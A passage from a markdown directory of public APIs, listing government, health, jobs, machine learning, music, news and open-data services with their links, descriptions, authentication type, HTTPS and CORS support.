`apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Government \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Api Colombia](https://api-colombia.com/) \| Community driven API for Colombia Public Data \| No \| Yes \| Unknown \| \| [Bank Negara Malaysia Open Data](https://apikijangportal.bnm.gov.my/) \| Malaysia Central Bank Open Data \| No \| Yes \| Unknown \| \| [BCLaws](https://www.bclaws.gov.bc.ca/civix/template/complete/api/index.html) \| Access to the laws of British Columbia \| No \| No \| Unknown \| \| [Brazil](https://brasilapi.com.br/) \| Community driven API for Brazil Public Data \| No \| Yes \| Yes \| \| [Brazil Central Bank Open Data](https://dadosabertos.bcb.gov.br/) \| Brazil Central Bank Open Data \| No \| Yes \| Unknown \| \| [Brazil Receita WS](https://www.receitaws.com.br/) \| Consult companies by CNPJ for Brazilian companies \| No \| Yes \| Unknown \| \| [Brazilian Chamber of Deputies Open Data](https://dadosabertos.camara.leg.br/swagger/api.html) \| Provides legislative information in Apis XML and JSON, as well as files in various formats \| No \| Yes \| No \| \| [Census.gov](https://www.census.gov/data/developers/data-sets.html) \| The US Census Bureau provides various APIs and data sets on demographics and businesses \| No \| Yes \| Unknown \| \| [City, Berlin](https://daten.berlin.de/) \| Berlin(DE) City Open Data \| No \| Yes \| Unknown \| \| [City, Gdańsk](https://ckan.multimediagdansk.pl/en) \| Gdańsk (PL) City Open Data \| No \| Yes \| Unknown \| \| [City, Gdynia](http://otwartedane.gdynia.pl/en/api_doc.html) \| Gdynia (PL) City Open Data \| No \| No \| Unknown \| \| [City, Helsinki](https://hri.fi/en_gb/) \| Helsinki(FI) City Open Data \| No \| Yes \| Unknown \| \| [City, Lviv](https://opendata.city-adm.lviv.ua/) \| Lviv(UA) City Open Data \| No \| Yes \| Unknown \| \| [City, Nantes Open Data](https://data.nantesmetropole.fr/pages/home/) \| Nantes(FR) City Open Data \| `apiKey` \| Yes \| Unknown \| \| [City, New York Open Data](https://opendata.cityofnewyork.us/) \| New York (US) City Open Data \| No \| Yes \| Unknown \| \| [City, Prague Open Data](http://opendata.praha.eu/en) \| Prague(CZ) City Open Data \| No \| No \| Unknown \| \| [City, Toronto Open Data](https://open.toronto.ca/) \| Toronto (CA) City Open Data \| No \| Yes \| Yes \| \| [Code.gov](https://code.gov) \| The primary platform for Open Source and code sharing for the U.S. Federal Government \| `apiKey` \| Yes \| Unknown \| \| [Colorado Information Marketplace](https://data.colorado.gov/) \| Colorado State Government Open Data \| No \| Yes \| Unknown \| \| [Data USA](https://datausa.io/about/api/) \| US Public Data \| No \| Yes \| Unknown \| \| [Data.gov](https://api.data.gov/) \| US Government Data \| `apiKey` \| Yes \| Unknown \| \| [Data.parliament.uk](https://explore.data.parliament.uk/?learnmore=Members) \| Contains live datasets including information about petitions, bills, MP votes, attendance and more \| No \| No \| Unknown \| \| [Deutscher Bundestag DIP](https://dip.bundestag.de/documents/informationsblatt_zur_dip_api_v01.pdf) \| This API provides read access to DIP entities (e.g. activities, persons, printed material) \| `apiKey` \| Yes \| Unknown \| \| [District of Columbia Open Data](http://opendata.dc.gov/pages/using-apis) \| Contains D.C. government public datasets, including crime, GIS, financial data, and so on \| No \| Yes \| Unknown \| \| [EPA](https://www.epa.gov/developers/data-data-products#apis) \| Web services and data sets from the US Environmental Protection Agency \| No \| Yes \| Unknown \| \| [FBI Wanted](https://www.fbi.gov/wanted/api) \| Access information on the FBI Wanted program \| No \| Yes \| Unknown \| \| [FEC](https://api.open.fec.gov/developers/) \| Information on campaign donations in federal elections \| `apiKey` \| Yes \| Unknown \| \| [Federal Register](https://www.federalregister.gov/reader-aids/developer-resources/rest-api) \| The Daily Journal of the United States Government \| No \| Yes \| Unknown \| \| [Food Standards Agency](http://ratings.food.gov.uk/open-data/en-GB) \| UK food hygiene rating data API \| No \| No \| Unknown \| \| [Gazette Data, UK](https://www.thegazette.co.uk/data) \| UK official public record API \| `OAuth`\| Yes \| Unknown \| \| [Gun Policy](https://www.gunpolicy.org/api) \| International firearm injury prevention and policy \| `apiKey` \| Yes \| Unknown \| \| [INEI](http://iinei.inei.gob.pe/microdatos/) \| Peruvian Statistical Government Open Data \| No \| No \| Unknown \| \| [Interpol Red Notices](https://interpol.api.bund.dev/) \| Access and search Interpol Red Notices \| No \| Yes \| Unknown \| \| [Istanbul (İBB) Open Data](https://data.ibb.gov.tr) \| Data sets from the İstanbul Metropolitan Municipality (İBB) \| No \| Yes \| Unknown \| \| [National Park Service, US](https://www.nps.gov/subjects/developer/) \| Data from the US National Park Service \| `apiKey` \| Yes \| Yes \| \| [Open Government, ACT](https://www.data.act.gov.au/) \| Australian Capital Territory Open Data \| No \| Yes \| Unknown \| \| [Open Government, Argentina](https://datos.gob.ar/) \| Argentina Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Australia](https://www.data.gov.au/) \| Australian Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Austria](https://www.data.gv.at/) \| Austria Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Belgium](https://data.gov.be/) \| Belgium Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Canada](http://open.canada.ca/en) \| Canadian Government Open Data \| No \| No \| Unknown \| \| [Open Government, Colombia](https://www.dane.gov.co/) \| Colombia Government Open Data \| No \| No \| Unknown \| \| [Open Government, Cyprus](https://data.gov.cy/?language=en) \| Cyprus Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Czech Republic](https://data.gov.cz/english/) \| Czech Republic Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Denmark](https://www.opendata.dk/) \| Denmark Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Estonia](https://avaandmed.eesti.ee/instructions/opendata-dataset-api) \| Estonia Government Open Data \| `apiKey` \| Yes \| Unknown \| \| [Open Government, Finland](https://www.avoindata.fi/en) \| Finland Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, France](https://www.data.gouv.fr/) \| French Government Open Data \| `apiKey` \| Yes \| Unknown \| \| [Open Government, Germany](https://www.govdata.de/daten/-/details/govdata-metadatenkatalog) \| Germany Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Greece](https://data.gov.gr/) \| Greece Government Open Data \| `OAuth`\| Yes \| Unknown \| \| [Open Government, India](https://data.gov.in/) \| Indian Government Open Data \| `apiKey` \| Yes \| Unknown \| \| [Open Government, Ireland](https://data.gov.ie/pages/developers) \| Ireland Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Italy](https://www.dati.gov.it/) \| Italy Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Korea](https://www.data.go.kr/) \| Korea Government Open Data \| `apiKey` \| Yes \| Unknown \| \| [Open Government, Lithuania](https://data.gov.lt/public/api/1) \| Lithuania Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Luxembourg](https://data.public.lu) \| Luxembourgish Government Open Data \| `apiKey` \| Yes \| Unknown \| \| [Open Government, Mexico](https://www.inegi.org.mx/datos/) \| Mexican Statistical Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Mexico](https://datos.gob.mx/) \| Mexico Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Netherlands](https://data.overheid.nl/en/ondersteuning/data-publiceren/api) \| Netherlands Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, New South Wales](https://api.nsw.gov.au/) \| New South Wales Government Open Data \| `apiKey` \| Yes \| Unknown \| \| [Open Government, New Zealand](https://www.data.govt.nz/) \| New Zealand Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Norway](https://data.norge.no/dataservices) \| Norwegian Government Open Data \| No \| Yes \| Yes \| \| [Open Government, Peru](https://www.datosabiertos.gob.pe/) \| Peru Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Poland](https://dane.gov.pl/en) \| Poland Government Open Data \| No \| Yes \| Yes \| \| [Open Government, Portugal](https://dados.gov.pt/en/docapi/) \| Portugal Government Open Data \| `apiKey` \| Yes \| Yes \| \| [Open Government, Queensland Government](https://www.data.qld.gov.au/) \| Queensland Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Romania](http://data.gov.ro/) \| Romania Government Open Data \| No \| No \| Unknown \| \| [Open Government, Saudi Arabia](https://data.gov.sa) \| Saudi Arabia Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Singapore](https://data.gov.sg/developer) \| Singapore Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Slovakia](https://data.gov.sk/en/) \| Slovakia Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Slovenia](https://podatki.gov.si/) \| Slovenia Government Open Data \| No \| Yes \| No \| \| [Open Government, South Australian Government](https://data.sa.gov.au/) \| South Australian Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Spain](https://datos.gob.es/en) \| Spain Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Sweden](https://www.dataportal.se/en/dataservice/91_29789/api-for-the-statistical-database) \| Sweden Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Switzerland](https://handbook.opendata.swiss/de/content/nutzen/api-nutzen.html) \| Switzerland Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Taiwan](https://data.gov.tw/) \| Taiwan Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Thailand](https://data.go.th/) \| Thailand Government Open Data \| `apiKey` \| Yes \| Unknown \| \| [Open Government, UK](https://data.gov.uk/) \| UK Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, USA](https://www.data.gov/) \| United States Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, Victoria State Government](https://www.data.vic.gov.au/) \| Victoria State Government Open Data \| No \| Yes \| Unknown \| \| [Open Government, West Australia](https://data.wa.gov.au/) \| West Australia Open Data \| No \| Yes \| Unknown \| \| [PRC Exam Schedule](https://api.whenisthenextboardexam.com/docs/) \| Unofficial Philippine Professional Regulation Commission's examination schedule \| No \| Yes \| Yes \| \| [Represent by Open North](https://represent.opennorth.ca/) \| Find Canadian Government Representatives \| No \| Yes \| Unknown \| \| [UK Companies House](https://developer.company-information.service.gov.uk/) \| UK Companies House Data from the UK government \| `OAuth`\| Yes \| Unknown \| \| [US Presidential Election Data by TogaTech](https://uselection.togatech.org/api/) \| Basic candidate data and live electoral vote counts for top two parties in US presidential election \| No \| Yes \| No \| \| [USA.gov](https://www.usa.gov/developer) \| Authoritative information on U.S. programs, events, services and more \| `apiKey` \| Yes \| Unknown \| \| [USAspending.gov](https://api.usaspending.gov/) \| US federal spending data \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Health \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [CMS.gov](https://data.cms.gov/provider-data/) \| Access to the data from the CMS - medicare.gov \| `apiKey` \| Yes \| Unknown \| \| [Coronavirus in the UK](https://coronavirus.data.gov.uk/details/developers-guide) \| UK Government coronavirus data, including deaths and cases by region \| No \| Yes \| Unknown \| \| [Covid Tracking Project](https://covidtracking.com/data/api/version-2) \| Covid-19 data for the US \| No \| Yes \| No \| \| [Covid-19](https://github.com/M-Media-Group/Covid-19-API) \| Covid 19 cases, deaths and recovery per country \| No \| Yes \| Yes \| \| [Covid-19 Datenhub](https://npgeo-corona-npgeo-de.hub.arcgis.com) \| Maps, datasets, applications and more in the context of COVID-19 \| No \| Yes \| Unknown \| \| [Covid-19 Government Response](https://covidtracker.bsg.ox.ac.uk) \| Government measures tracker to fight against the Covid-19 pandemic \| No \| Yes \| Yes \| \| [Covid-19 India](https://data.covid19india.org/) \| Covid 19 statistics state and district wise about cases, vaccinations, recovery within India \| No \| Yes \| Unknown \| \| [Covid-19 JHU CSSE](https://nuttaphat.com/covid19-api/) \| Open-source API for exploring Covid19 cases based on JHU CSSE \| No \| Yes \| Yes \| \| [Covid-19 Live Data](https://github.com/mathdroid/covid-19-api) \| Global and countrywise data of Covid 19 daily Summary, confirmed cases, recovered and deaths \| No \| Yes \| Yes \| \| [Covid-19 Philippines](https://github.com/Simperfy/Covid-19-API-Philippines-DOH) \| Unofficial Covid-19 Web API for Philippines from data collected by DOH \| No \| Yes \| Yes \| \| [COVID-19 Tracker Canada](https://api.covid19tracker.ca/docs/1.0/overview) \| Details on Covid-19 cases across Canada \| No \| Yes \| Unknown \| \| [COVID-19 Tracker Sri Lanka](https://www.hpb.health.gov.lk/en/api-documentation) \| Provides situation of the COVID-19 patients reported in Sri Lanka \| No \| Yes \| Unknown \| \| [COVID-ID](https://data.covid19.go.id/public/api/prov.json) \| Indonesian government Covid data per province \| No \| Yes \| Yes \| \| [Dataflow Kit COVID-19](https://covid-19.dataflowkit.com) \| COVID-19 live statistics into sites per hour \| No \| Yes \| Unknown \| \| [FoodData Central](https://fdc.nal.usda.gov/) \| National Nutrient Database for Standard Reference \| `apiKey` \| Yes \| Unknown \| \| [Healthcare.gov](https://www.healthcare.gov/developers/) \| Educational content about the US Health Insurance Marketplace \| No \| Yes \| Unknown \| \| [Humanitarian Data Exchange](https://data.humdata.org/) \| Humanitarian Data Exchange (HDX) is open platform for sharing data across crises and organisations \| No \| Yes \| Unknown \| \| [Infermedica](https://developer.infermedica.com/docs/) \| NLP based symptom checker and patient triage API for health diagnosis from text \| `apiKey` \| Yes \| Yes \| \| [LAPIS](https://cov-spectrum.ethz.ch/public) \| SARS-CoV-2 genomic sequences from public sources \| No \| Yes \| Yes \| \| [Lexigram](https://docs.lexigram.io/) \| NLP that extracts mentions of clinical concepts from text, gives access to clinical ontology \| `apiKey` \| Yes \| Unknown \| \| [Makeup](http://makeup-api.herokuapp.com/) \| Makeup Information \| No \| No \| Unknown \| \| [MyVaccination](https://documenter.getpostman.com/view/16605343/Tzm8GG7u) \| Vaccination data for Malaysia \| No \| Yes \| Unknown \| \| [NPPES](https://npiregistry.cms.hhs.gov/registry/help-api) \| National Plan & Provider Enumeration System, info on healthcare providers registered in US \| No \| Yes \| Unknown \| \| [Nutritionix](https://developer.nutritionix.com/) \| Worlds largest verified nutrition database \| `apiKey` \| Yes \| Unknown \| \| [Open Data NHS Scotland](https://www.opendata.nhs.scot) \| Medical reference data and statistics by Public Health Scotland \| No \| Yes \| Unknown \| \| [Open Disease](https://disease.sh/) \| API for Current cases and more stuff about COVID-19 and Influenza \| No \| Yes \| Yes \| \| [openFDA](https://open.fda.gov) \| Public FDA data about drugs, devices and foods \| `apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Jobs \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Adzuna](https://developer.adzuna.com/overview) \| Job board aggregator \| `apiKey` \| Yes \| Unknown \| \| [Arbeitnow](https://documenter.getpostman.com/view/18545278/UVJbJdKh) \| API for Job board aggregator in Europe / Remote \| No \| Yes \| Yes \| \| [Arbeitsamt](https://jobsuche.api.bund.dev/) \| API for the "Arbeitsamt", which is a german Job board aggregator \| `OAuth`\| Yes \| Unknown \| \| [Careerjet](https://www.careerjet.com/partners/api/) \| Job search engine \| `apiKey` \| No \| Unknown \| \| [DevITjobs UK](https://devitjobs.uk/job_feed.xml) \| Jobs with GraphQL \| No \| Yes \| Yes \| \| [Findwork](https://findwork.dev/developers/) \| Job board \| `apiKey` \| Yes \| Unknown \| \| [GraphQL Jobs](https://graphql.jobs/docs/api/) \| Jobs with GraphQL \| No \| Yes \| Yes \| \| [jobdata API](https://jobdataapi.com/) \| Simple Job Data API \| `apiKey` \| Yes \| Unknown \| \| [Jobs2Careers](http://api.jobs2careers.com/api/spec.pdf) \| Job aggregator \| `apiKey` \| Yes \| Unknown \| \| [Jooble](https://jooble.org/api/about) \| Job search engine \| `apiKey` \| Yes \| Unknown \| \| [Jobicy](https://jobicy.com/jobs-rss-feed) \| Remote Jobs API Feed \| No \| Yes \| Unknown \| \| [Juju](http://www.juju.com/publisher/spec/) \| Job search engine \| `apiKey` \| No \| Unknown \| \| [OkJob](https://okjob.io/api) \| 4 day week job board \| `apiKey` \| Yes \| Unknown \| \| [Open Skills](https://github.com/workforce-data-initiative/skills-api/wiki/API-Overview) \| Job titles, skills and related jobs data \| No \| No \| Unknown \| \| [Reed](https://www.reed.co.uk/developers) \| Job board aggregator \| `apiKey` \| Yes \| Unknown \| \| [Techmap's Job Postings](https://jobdatafeeds.com/job-api) \| API for International Job postings \| `apiKey` \| Yes \| Unknown \| \| [The Muse](https://www.themuse.com/developers/api/v2) \| Job board and company profiles \| `apiKey` \| Yes \| Unknown \| \| [Upwork](https://developers.upwork.com/) \| Freelance job board and management system \| `OAuth`\| Yes \| Unknown \| \| [USAJOBS](https://developer.usajobs.gov/) \| US government job board \| `apiKey` \| Yes \| Unknown \| \| [WhatJobs](https://www.whatjobs.com/affiliates) \| Job search engine \| `apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Machine Learning \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [AI/ML API](https://aimlapi.com) \| Access 100+ curated AI Models over 1 API \| Yes \| Yes \| Yes \| \| [AI For Thai](https://aiforthai.in.th/index.php) \| Free Various Thai AI API \| `apiKey` \| Yes \| Yes \| \| [Clarifai](https://docs.clarifai.com/api-guide/api-overview) \| Computer Vision \| `OAuth`\| Yes \| Unknown \| \| [Cloudmersive](https://www.cloudmersive.com/image-recognition-and-processing-api) \| Image captioning, face recognition, NSFW classification \| `apiKey` \| Yes \| Yes \| \| [Cohere](https://docs.cohere.ai/) \| Harness the power of language understanding. Join the developers and businesses who are using Cohere to generate, categorize and organize text at a scale that was previously unimaginable. \| `apiKey` \| Yes \| Yes \| \| [Dialogflow](https://cloud.google.com/dialogflow/docs/) \| Natural Language Processing \| `apiKey` \| Yes \| Unknown \| \| [Eden](https://www.edenai.co/) \| Get all AI models in one place, e.g. OpenAI, Google and lots more! \| `apiKey` \| Yes \| Yes \| [EXUDE-API](http://uttesh.com/exude-api/) \| Used for the primary ways for filtering the stopping, stemming words from the text data \| No \| Yes \| Yes \| \| [Gladia](https://api.gladia.io/docs) \| Artificial intelligence API's \| `apiKey` \| Yes \| No \| \| [Imagga](https://imagga.com/) \| Image Recognition Solutions like Tagging, Visual Search, NSFW moderation \| `apiKey` \| Yes \| Unknown \| \| [Inferdo](https://rapidapi.com/user/inferdo) \| Computer Vision services like Facial detection, Image labeling, NSFW classification \| `apiKey` \| Yes \| Unknown \| \| [Irisnet](https://irisnet.de/api/) \| Realtime content moderation API that blocks or blurs unwanted images in real-time \| `apiKey` \| Yes \| Yes \| \| [Keen IO](https://keen.io/) \| Data Analytics \| `apiKey` \| Yes \| Unknown \| \| [Machinetutors](https://www.machinetutors.com/portfolio/MT_api.html) \| AI Solutions: Video/Image Classification & Tagging, NSFW, Icon/Image/Audio Search, NLP \| `apiKey` \| Yes \| Yes \| \| [MessengerX.io](https://messengerx.rtfd.io) \| A FREE API for developers to build and monetize personalized ML based chat apps \| `apiKey` \| Yes \| Yes \| \| [NLP Cloud](https://nlpcloud.io) \| NLP API using spaCy and transformers for NER, sentiments, classification, summarization, and more \| `apiKey` \| Yes \| Unknown \| \| [OpenAI](https://openai.com/blog/openai-api) \| Use AI models such as ChatGPT or DALL-E to experience the capabilities of AI \| `apiKey` \| Yes \| Yes \| \| [OpenVisionAPI](https://openvisionapi.com) \| Open source computer vision API based on open source models \| No \| Yes \| Yes \| \| [Perspective](https://perspectiveapi.com) \| NLP API to return probability that if text is toxic, obscene, insulting or threatening \| `apiKey` \| Yes \| Unknown \| \| [Roboflow Universe](https://universe.roboflow.com) \| Pre-trained computer vision models \| `apiKey` \| Yes \| Yes \| \| [SkyBiometry](https://skybiometry.com/documentation/) \| Face Detection, Face Recognition and Face Grouping \| `apiKey` \| Yes \| Unknown \| \| [Summarize Text with AI](https://apyhub.com/utility/ai-summarize) \| Generates summaries of text and web pages using AI \| `apiKey` \| Yes \| Yes \| \| [Unplugg](https://unplu.gg/test_api.html) \| Forecasting API for timeseries data \| `apiKey` \| Yes \| Unknown \| \| [WolframAlpha](https://products.wolframalpha.com/api/) \| Provides specific answers to questions using data and algorithms \| `apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Music \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [7digital](https://docs.7digital.com/reference) \| Api of Music store 7digital \| `OAuth`\| Yes \| Unknown \| \| [AI Mastering](https://aimastering.com/api_docs/) \| Automated Music Mastering \| `apiKey` \| Yes \| Yes \| \| [Audiomack](https://www.audiomack.com/data-api/docs) \| Api of the streaming music hub Audiomack \| `OAuth`\| Yes \| Unknown \| \| [Bandcamp](https://bandcamp.com/developer) \| API of Music store Bandcamp \| `OAuth`\| Yes \| Unknown \| \| [Bandsintown](https://app.swaggerhub.com/apis/Bandsintown/PublicAPI/3.0.0) \| Music Events \| No \| Yes \| Unknown \| \| [Deezer](https://developers.deezer.com/api) \| Music \| `OAuth`\| Yes \| Unknown \| \| [Discogs](https://www.discogs.com/developers/) \| Music \| `OAuth`\| Yes \| Unknown \| \| [Freesound](https://freesound.org/docs/api/) \| Music Samples \| `apiKey` \| Yes \| Unknown \| \| [Gaana](https://github.com/cyberboysumanjay/GaanaAPI) \| API to retrieve song information from Gaana \| No \| Yes \| Unknown \| \| [Genius](https://docs.genius.com/) \| Crowdsourced lyrics and music knowledge \| `OAuth`\| Yes \| Unknown \| \| [Genrenator](https://binaryjazz.us/genrenator-api/) \| Music genre generator \| No \| Yes \| Unknown \| \| [Jamendo](https://developer.jamendo.com/v3.0/docs) \| Music \| `OAuth`\| Yes \| Unknown \| \| [JioSaavn](https://github.com/cyberboysumanjay/JioSaavnAPI) \| API to retrieve song information, album meta data and many more from JioSaavn \| No \| Yes \| Unknown \| \| [KKBOX](https://developer.kkbox.com) \| Get music libraries, playlists, charts, and perform out of KKBOX's platform \| `OAuth`\| Yes \| Unknown \| \| [LastFm](https://www.last.fm/api) \| Music \| `apiKey` \| Yes \| Unknown \| \| [Mixcloud](https://www.mixcloud.com/developers/) \| Music \| `OAuth`\| Yes \| Yes \| \| [MusicBrainz](https://musicbrainz.org/doc/Development/XML_Web_Service/Version_2) \| Music \| No \| Yes \| Unknown \| \| [Musixmatch](https://developer.musixmatch.com/) \| Music \| `apiKey` \| Yes \| Unknown \| \| [Napster](https://developer.napster.com/api/v2.2) \| Music \| `apiKey` \| Yes \| Yes \| \| [Openwhyd](https://openwhyd.github.io/openwhyd/API) \| Download curated playlists of streaming tracks (YouTube, SoundCloud, etc...) \| No \| Yes \| No \| \| [Phishin](https://phish.in/api-docs) \| A web-based archive of legal live audio recordings of the improvisational rock band Phish \| `apiKey` \| Yes \| No \| \| [Radio Browser](https://api.radio-browser.info/) \| List of internet radio stations \| No \| Yes \| Yes \| \| [Songkick](https://www.songkick.com/developer/) \| Music Events \| `apiKey` \| Yes \| Unknown \| \| [Songlink / Odesli](https://www.notion.so/API-d0ebe08a5e304a55928405eb682f6741) \| Get all the services on which a song is available \| `apiKey` \| Yes \| Yes \| \| [SoundCloud](https://developers.soundcloud.com/docs/api/guide) \| With SoundCloud API you can build applications that will give more power to control your content \| `OAuth`\| Yes \| Unknown \| \| [Spotify](https://beta.developer.spotify.com/documentation/web-api/) \| View Spotify music catalog, manage users' libraries, get recommendations and more \| `OAuth`\| Yes \| Unknown \| \| [TasteDive](https://tastedive.com/read/api) \| Similar artist API (also works for movies and TV shows) \| `apiKey` \| Yes \| Unknown \| \| [TheAudioDB](https://www.theaudiodb.com/api_guide.php) \| Music \| `apiKey` \| Yes \| Unknown \| \| [Vagalume](https://api.vagalume.com.br/docs/) \| Crowdsourced lyrics and music knowledge \| `apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### News \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Associated Press](https://developer.ap.org/) \| Search for news and metadata from Associated Press \| `apiKey` \| Yes \| Unknown \| \| [Chronicling America](http://chroniclingamerica.loc.gov/about/api/) \| Provides access to millions of pages of historic US newspapers from the Library of Congress \| No \| No \| Unknown \| \| [Currents](https://currentsapi.services/) \| Latest news published in various news sources, blogs and forums \| `apiKey` \| Yes \| Yes \| \| [Feedbin](https://github.com/feedbin/feedbin-api) \| RSS reader \| `OAuth`\| Yes \| Unknown \| \| [GNews](https://gnews.io/) \| Search for news from various sources \| `apiKey` \| Yes \| Yes \| \| [Graphs for Coronavirus](https://corona.dnsforfamily.com/api.txt) \| Each Country separately and Worldwide Graphs for Coronavirus. Daily updates \| No \| Yes \| Yes \| \| [HackerNews Node](https://github.com/EdixonAlberto/api-hackernews-node) \| Api to get related articles about Node.js in Hacker News \| `apiKey` \| Yes \| No \| \| [Inshorts News](https://github.com/cyberboysumanjay/Inshorts-News-API) \| Provides news from inshorts \| No \| Yes \| Unknown \| \| [MarketAux](https://www.marketaux.com/) \| Live stock market news with tagged tickers + sentiment and stats JSON API \| `apiKey` \| Yes \| Yes \| \| [New York Times](https://developer.nytimes.com/) \| The New York Times Developer Network \| `apiKey` \| Yes \| Unknown \| \| [News](https://newsapi.org/) \| Headlines currently published on a range of news sources and blogs \| `apiKey` \| Yes \| Unknown \| \| [NewsAPI.ai](https://www.newsapi.ai/documentation) \| News API access to real-time and archive news content \| `apiKey` \| Yes \| Yes \| \| [NewsData](https://newsdata.io/docs) \| News data API for live-breaking news and headlines from reputed news sources \| `apiKey` \| Yes \| Unknown \| \| [NewsX](https://rapidapi.com/machaao-inc-machaao-inc-default/api/newsx/) \| Get or Search Latest Breaking News with ML Powered Summaries 🤖\| `apiKey` \| Yes \| Unknown \| \| [NPR One](http://dev.npr.org/api/) \| Personalized news listening experience from NPR \| `OAuth`\| Yes \| Unknown \| \| [Spaceflight News](https://spaceflightnewsapi.net) \| Spaceflight related news 🚀\| No \| Yes \| Yes \| \| [Substack API Wrapper](https://github.com/NHagar/substack_api) \| Substack's newsletter platform now has an API wrapper, for easy access to latest posts \| `No` \| Yes \| Unknown \| \| [The Guardian](http://open-platform.theguardian.com/) \| Access all the content the Guardian creates, categorised by tags and section \| `apiKey` \| Yes \| Unknown \| \| [The Old Reader](https://github.com/theoldreader/api) \| RSS reader \| `apiKey` \| Yes \| Unknown \| \| [TheNews](https://www.thenewsapi.com/) \| Aggregated headlines, top story and live news JSON API \| `apiKey` \| Yes \| Yes \| \| [Trove](https://trove.nla.gov.au/about/create-something/using-api) \| Search through the National Library of Australia collection of 1000s of digitised newspapers \| `apiKey` \| Yes \| Unknown \| \| [World News](https://worldnewsapi.com) \| Search through millions of semantically tagged worldwide news \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Open Data \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [18F](http://18f.github.io/API-All-the-X/) \| Unofficial US Federal Government API Development \| No \| No \| Unknown \| \| [API Setu](https://www.apisetu.gov.in/) \| An Indian Government platform that provides a lot of APIS for KYC, business, education & employment \| No \| Yes \| Yes \| \| [Archive.org](https://archive.readme.io/docs) \| The Internet Archive \| No \| Yes \| No \| \| [ArgentinaDatos](https://argentinadatos.com/) \| Unofficial Argentinian data API \| No \| Yes \| Yes \| \| [Black History Facts](https://www.blackhistoryapi.io/docs) \| Contribute or search one of the largest black history fact databases on the web \| `apiKey` \| Yes \| Yes \| \| [BotsArchive](https://botsarchive.com/docs.html) \| JSON formatted details about Telegram Bots available in database \| No \| Yes \| Unknown \| \| [Callook.info](https://callook.info) \| United States ham radio callsigns \| No \| Yes \| Unknown \| \| [CARTO](https://carto.com/) \| Location Information Prediction \| `apiKey` \| Yes \| Unknown \| \| [CollegeScoreCard.ed.gov](https://collegescorecard.ed.gov/data/) \| Data on higher education institutions in the United States \| No \| Yes \| Unknown \| \| [DataStream](https://github.com/datastreamapp/api-docs) \| An open access platform for sharing Canadian water quality data \| `apiKey` \| Yes \| Yes \| \| [Enigma Public](https://developers.enigma.com/docs) \| Broadest collection of public data \| `apiKey` \| Yes \| Yes \| \| [French Address Search](https://geo.api.gouv.fr/adresse) \| Address search via the French Government \| No \| Yes \| Unknown \| \| [Generate Link Preview (including checking for malicious links)](https://apyhub.com/utility/link-preview) \| Fetches metadata from any URL passed to it, including Open Graph tags. \| `apiKey` \| Yes \| Yes \| \| [GENESIS](https://www.destatis.de/EN/Service/OpenData/api-webservice.html) \| Federal Statistical Office Germany \| `OAuth`\| Yes \| Unknown \| \| [Joshua Project](https://api.joshuaproject.net/) \| People groups of the world with the fewest followers of Christ \| `apiKey` \| Yes \| Unknown \| \| [Kaggle](https://www.kaggle.com/docs/api) \| Create and interact with Datasets, Notebooks, and connect with Kaggle \| `apiKey` \| Yes \| Unknown \| \| [LinkPreview](https://www.linkpreview.net) \| Get JSON formatted summary with title, description and preview image for any requested URL \| `apiKey` \| Yes \| Yes \| \| [Lowy Asia Power Index](https://github.com/0x0is1/lowy-index-api-docs) \| Get measure resources and influence to rank the relative power of states in Asia \| No \| Yes \| Unknown \| \| [Microlink.io](https://microlink.io) \| Extract structured data from any website \| No \| Yes \| Yes \| \| [Nasdaq Data Link](https://docs.data.nasdaq.com/) \| Stock market data \| `apiKey` \| Yes \| Unknown \| \| [Nobel Prize](https://www.nobelprize.org/about/developer-zone-2/) \| Open data about nobel prizes and events \| No \| Yes \| Yes \| \| [Open Data Minneapolis](https://opendata.minneapolismn.gov/) \| Spatial (GIS) and non-spatial city data for Minneapolis \| No \| Yes \| No \| \| [openAFRICA](https://africaopendata.org/) \| Large datasets repository of African open data \| No \| Yes \| Unknown \| \| [OpenCorporates](http://api.opencorporates.com/documentation/API-Reference) \| Data on corporate entities and directors in many countries \| `apiKey` \| Yes \| Unknown \| \| [OpenSanctions](https://www.opensanctions.org/docs/api/) \| Data on international sanctions, crime and politically exposed persons \| No \| Yes \| Yes \| \| 